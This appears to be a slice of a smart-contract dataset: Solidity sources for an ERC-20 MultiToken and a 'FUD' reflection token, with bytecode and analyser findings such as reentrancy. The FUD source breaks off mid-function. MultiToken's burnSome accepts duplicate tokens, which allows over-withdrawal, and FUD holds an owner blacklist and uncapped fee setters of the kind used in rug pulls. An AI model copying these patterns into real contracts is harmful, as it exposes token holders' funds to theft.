53c565b6135b18185613547565b93506135bc83613558565b8060005b838110156135ed5781516135d48882613577565b97506135df8361358f565b9250506001810190506135c0565b5085935050505092915050565b600060a08201905061360f600083018861285e565b61361c6020830187612ddf565b818103604083015261362e818661359c565b905061363d6060830185612b56565b61364a608083018461285e565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061368a601b83612690565b915061369582613654565b602082019050919050565b600060208201905081810360008301526136b98161367d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122018f15027ab0d642ffd8441937751d1b6bdc62801a427d6ccbfa8579c86bd32fb64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,165 |
0x586516364543255e2c1d808034d0cb91e114a77c
|
pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract BasicMultiToken is StandardToken, DetailedERC20 {
ERC20[] public tokens;
event Mint(address indexed minter, uint256 value);
event Burn(address indexed burner, uint256 value);
constructor(ERC20[] _tokens, string _name, string _symbol, uint8 _decimals) public
DetailedERC20(_name, _symbol, _decimals)
{
require(_tokens.length >= 2, "Contract do not support less than 2 inner tokens");
tokens = _tokens;
}
function mint(address _to, uint256 _amount) public {
require(totalSupply_ != 0, "This method can be used with non zero total supply only");
uint256[] memory tokenAmounts = new uint256[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
tokenAmounts[i] = _amount.mul(tokens[i].balanceOf(this)).div(totalSupply_);
}
_mint(_to, _amount, tokenAmounts);
}
function mintFirstTokens(address _to, uint256 _amount, uint256[] _tokenAmounts) public {
require(totalSupply_ == 0, "This method can be used with zero total supply only");
_mint(_to, _amount, _tokenAmounts);
}
function _mint(address _to, uint256 _amount, uint256[] _tokenAmounts) internal {
require(tokens.length == _tokenAmounts.length, "Lenghts of tokens and _tokenAmounts array should be equal");
for (uint i = 0; i < tokens.length; i++) {
require(tokens[i].transferFrom(msg.sender, this, _tokenAmounts[i]));
}
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
}
function burn(uint256 _value) public {
burnSome(_value, tokens);
}
function burnSome(uint256 _value, ERC20[] someTokens) public {
require(_value <= balances[msg.sender]);
for (uint i = 0; i < someTokens.length; i++) {
uint256 tokenAmount = _value.mul(someTokens[i].balanceOf(this)).div(totalSupply_);
require(someTokens[i].transfer(msg.sender, tokenAmount));
}
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
}
}
interface ERC228 {
function changeableTokenCount() external view returns (uint16 count);
function changeableToken(uint16 _tokenIndex) external view returns (address tokenAddress);
function getReturn(address _fromToken, address _toToken, uint256 _amount) external view returns (uint256 amount);
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) external returns (uint256 amount);
event Update();
event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return);
}
contract MultiToken is BasicMultiToken, ERC228 {
mapping(address => uint256) public weights;
constructor(ERC20[] _tokens, uint256[] _weights, string _name, string _symbol, uint8 _decimals) public
BasicMultiToken(_tokens, _name, _symbol, _decimals)
{
_setWeights(_weights);
}
function _setWeights(uint256[] _weights) internal {
require(_weights.length == tokens.length, "Lenghts of _tokens and _weights array should be equal");
for (uint i = 0; i < tokens.length; i++) {
require(_weights[i] != 0, "The _weights array should not contains zeros");
weights[tokens[i]] = _weights[i];
}
}
function changeableTokenCount() public view returns (uint16 count) {
count = uint16(tokens.length);
}
function changeableToken(uint16 _tokenIndex) public view returns (address tokenAddress) {
tokenAddress = tokens[_tokenIndex];
}
function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns(uint256 returnAmount) {
uint256 fromBalance = ERC20(_fromToken).balanceOf(this);
uint256 toBalance = ERC20(_toToken).balanceOf(this);
returnAmount = toBalance.mul(_amount).mul(weights[_toToken]).div(weights[_fromToken]).div(fromBalance.add(_amount));
}
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns(uint256 returnAmount) {
returnAmount = getReturn(_fromToken, _toToken, _amount);
require(returnAmount >= _minReturn, "The return amount is less than _minReturn value");
require(ERC20(_fromToken).transferFrom(msg.sender, this, _amount));
require(ERC20(_toToken).transfer(msg.sender, returnAmount));
emit Change(_fromToken, _toToken, msg.sender, _amount, returnAmount);
}
}
|
0x6080604052600436106101035763ffffffff60e060020a60003504166306fdde038114610108578063095ea7b31461019257806315daab90146101ca57806318160ddd146102265780631e1401f81461024d57806323b872dd14610277578063313ce567146102a157806340c10f19146102cc57806342966c68146102f05780634f64b2be14610308578063503adbf61461033c57806359f8714b146103585780635e5144eb1461038457806366188463146103b157806370a08231146103d557806395d89b41146103f6578063a7cac8461461040b578063a9059cbb1461042c578063d73dd62314610450578063dd62ed3e14610474578063e82c6e8a1461049b575b600080fd5b34801561011457600080fd5b5061011d610502565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015757818101518382015260200161013f565b50505050905090810190601f1680156101845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019e57600080fd5b506101b6600160a060020a0360043516602435610590565b604080519115158252519081900360200190f35b3480156101d657600080fd5b50604080516020600460248035828101358481028087018601909752808652610224968435963696604495919490910192918291850190849080828437509497506105fb9650505050505050565b005b34801561023257600080fd5b5061023b61087a565b60408051918252519081900360200190f35b34801561025957600080fd5b5061023b600160a060020a0360043581169060243516604435610880565b34801561028357600080fd5b506101b6600160a060020a0360043581169060243516604435610a05565b3480156102ad57600080fd5b506102b6610b73565b6040805160ff9092168252519081900360200190f35b3480156102d857600080fd5b50610224600160a060020a0360043516602435610b7c565b3480156102fc57600080fd5b50610224600435610d34565b34801561031457600080fd5b50610320600435610d9b565b60408051600160a060020a039092168252519081900360200190f35b34801561034857600080fd5b5061032061ffff60043516610dc3565b34801561036457600080fd5b5061036d610df3565b6040805161ffff9092168252519081900360200190f35b34801561039057600080fd5b5061023b600160a060020a0360043581169060243516604435606435610df9565b3480156103bd57600080fd5b506101b6600160a060020a0360043516602435611030565b3480156103e157600080fd5b5061023b600160a060020a0360043516611129565b34801561040257600080fd5b5061011d611144565b34801561041757600080fd5b5061023b600160a060020a036004351661119f565b34801561043857600080fd5b506101b6600160a060020a03600435166024356111b1565b34801561045c57600080fd5b506101b6600160a060020a0360043516602435611298565b34801561048057600080fd5b5061023b600160a060020a036004358116906024351661133a565b3480156104a757600080fd5b506040805160206004604435818101358381028086018501909652808552610224958335600160a060020a03169560248035963696956064959394920192918291850190849080828437509497506113659650505050505050565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105885780601f1061055d57610100808354040283529160200191610588565b820191906000526020600020905b81548152906001019060200180831161056b57829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b600160a060020a033316600090815260208190526040812054819084111561062257600080fd5b600091505b82518210156107ae576106f06001546106e4858581518110151561064757fe5b90602001906020020151600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b1580156106ab57600080fd5b505af11580156106bf573d6000803e3d6000fd5b505050506040513d60208110156106d557600080fd5b5051879063ffffffff6113f316565b9063ffffffff61141c16565b9050828281518110151561070057fe5b90602001906020020151600160a060020a031663a9059cbb33836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561076c57600080fd5b505af1158015610780573d6000803e3d6000fd5b505050506040513d602081101561079657600080fd5b505115156107a357600080fd5b600190910190610627565b600160a060020a0333166000908152602081905260409020546107d7908563ffffffff61143116565b600160a060020a033316600090815260208190526040902055600154610803908563ffffffff61143116565b600155604080518581529051600160a060020a033316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a260408051858152905160009133600160a060020a03169160008051602061167e8339815191529181900360200190a350505050565b60015490565b600080600085600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b1580156108e057600080fd5b505af11580156108f4573d6000803e3d6000fd5b505050506040513d602081101561090a57600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152600160a060020a0330811660048301529151929450908716916370a08231916024808201926020929091908290030181600087803b15801561097457600080fd5b505af1158015610988573d6000803e3d6000fd5b505050506040513d602081101561099e57600080fd5b505190506109fb6109b5838663ffffffff61144316565b600160a060020a0380891660009081526007602052604080822054928a1682529020546106e4919082906109ef878b63ffffffff6113f316565b9063ffffffff6113f316565b9695505050505050565b6000600160a060020a0383161515610a1c57600080fd5b600160a060020a038416600090815260208190526040902054821115610a4157600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610a7457600080fd5b600160a060020a038416600090815260208190526040902054610a9d908363ffffffff61143116565b600160a060020a038086166000908152602081905260408082209390935590851681522054610ad2908363ffffffff61144316565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610b18908363ffffffff61143116565b600160a060020a0380861660008181526002602090815260408083203386168452825291829020949094558051868152905192871693919260008051602061167e833981519152929181900390910190a35060019392505050565b60055460ff1681565b6001546060906000901515610c01576040805160e560020a62461bcd02815260206004820152603760248201527f54686973206d6574686f642063616e20626520757365642077697468206e6f6e60448201527f207a65726f20746f74616c20737570706c79206f6e6c79000000000000000000606482015290519081900360840190fd5b600654604080518281526020808402820101909152908015610c2d578160200160208202803883390190505b509150600090505b600654811015610d2357610d036001546106e4600684815481101515610c5757fe5b6000918252602080832090910154604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600160a060020a039081166004830152915191909216936370a0823193602480850194919392918390030190829087803b158015610cca57600080fd5b505af1158015610cde573d6000803e3d6000fd5b505050506040513d6020811015610cf457600080fd5b5051869063ffffffff6113f316565b8282815181101515610d1157fe5b60209081029091010152600101610c35565b610d2e848484611450565b50505050565b610d98816006805480602002602001604051908101604052809291908181526020018280548015610d8e57602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610d70575b50505050506105fb565b50565b6006805482908110610da957fe5b600091825260209091200154600160a060020a0316905081565b600060068261ffff16815481101515610dd857fe5b600091825260209091200154600160a060020a031692915050565b60065490565b6000610e06858585610880565b905081811015610e86576040805160e560020a62461bcd02815260206004820152602f60248201527f5468652072657475726e20616d6f756e74206973206c657373207468616e205f60448201527f6d696e52657475726e2076616c75650000000000000000000000000000000000606482015290519081900360840190fd5b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a0333811660048301523081166024830152604482018690529151918716916323b872dd916064808201926020929091908290030181600087803b158015610efa57600080fd5b505af1158015610f0e573d6000803e3d6000fd5b505050506040513d6020811015610f2457600080fd5b50511515610f3157600080fd5b83600160a060020a031663a9059cbb33836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610f9457600080fd5b505af1158015610fa8573d6000803e3d6000fd5b505050506040513d6020811015610fbe57600080fd5b50511515610fcb57600080fd5b33600160a060020a031684600160a060020a031686600160a060020a03167f24cee3d6b5651a987362aa6216b9d34a39212f0f1967dfd48c2c3a4fc3c576dc8685604051808381526020018281526020019250505060405180910390a4949350505050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561108d57600160a060020a0333811660009081526002602090815260408083209388168352929052908120556110c4565b61109d818463ffffffff61143116565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105885780601f1061055d57610100808354040283529160200191610588565b60076020526000908152604090205481565b6000600160a060020a03831615156111c857600080fd5b600160a060020a0333166000908152602081905260409020548211156111ed57600080fd5b600160a060020a033316600090815260208190526040902054611216908363ffffffff61143116565b600160a060020a03338116600090815260208190526040808220939093559085168152205461124b908363ffffffff61144316565b600160a060020a038085166000818152602081815260409182902094909455805186815290519193339093169260008051602061167e83398151915292918290030190a350600192915050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120546112d0908363ffffffff61144316565b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600154156113e3576040805160e560020a62461bcd02815260206004820152603360248201527f54686973206d6574686f642063616e20626520757365642077697468207a657260448201527f6f20746f74616c20737570706c79206f6e6c7900000000000000000000000000606482015290519081900360840190fd5b6113ee838383611450565b505050565b6000821515611404575060006105f5565b5081810281838281151561141457fe5b04146105f557fe5b6000818381151561142957fe5b049392505050565b60008282111561143d57fe5b50900390565b818101828110156105f557fe5b8051600654600091146114d3576040805160e560020a62461bcd02815260206004820152603960248201527f4c656e67687473206f6620746f6b656e7320616e64205f746f6b656e416d6f7560448201527f6e74732061727261792073686f756c6420626520657175616c00000000000000606482015290519081900360840190fd5b5060005b6006548110156115b95760068054829081106114ef57fe5b6000918252602090912001548251600160a060020a03909116906323b872dd903390309086908690811061151f57fe5b60209081029091018101516040805160e060020a63ffffffff8816028152600160a060020a03958616600482015293909416602484015260448301529151606480830193928290030181600087803b15801561157a57600080fd5b505af115801561158e573d6000803e3d6000fd5b505050506040513d60208110156115a457600080fd5b505115156115b157600080fd5b6001016114d7565b6001546115cc908463ffffffff61144316565b600155600160a060020a0384166000908152602081905260409020546115f8908463ffffffff61144316565b600160a060020a03851660008181526020818152604091829020939093558051868152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518481529051600160a060020a0386169160009160008051602061167e8339815191529181900360200190a3505050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820ecfe7e60fae02e46e1d2a106a50630262461d67cc4ac6df307aa229bd4c5f8240029
|
{"success": true, "error": null, "results": {}}
| 6,166 |
0xb057D532bBF495EED7D455bF58089bAA800F5A5E
|
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FUD is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 5;
uint256 private _feeAddr2 = 5;
address payable private _feeAddrWallet1 = payable(0xC64D2CCEf82b0C8a3e528042eba97A0e41E55866);
address payable private _feeAddrWallet2 = payable(0xC64D2CCEf82b0C8a3e528042eba97A0e41E55866);
string private constant _name = "Fear Uncertainty and Doubt";
string private constant _symbol = "FUD";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
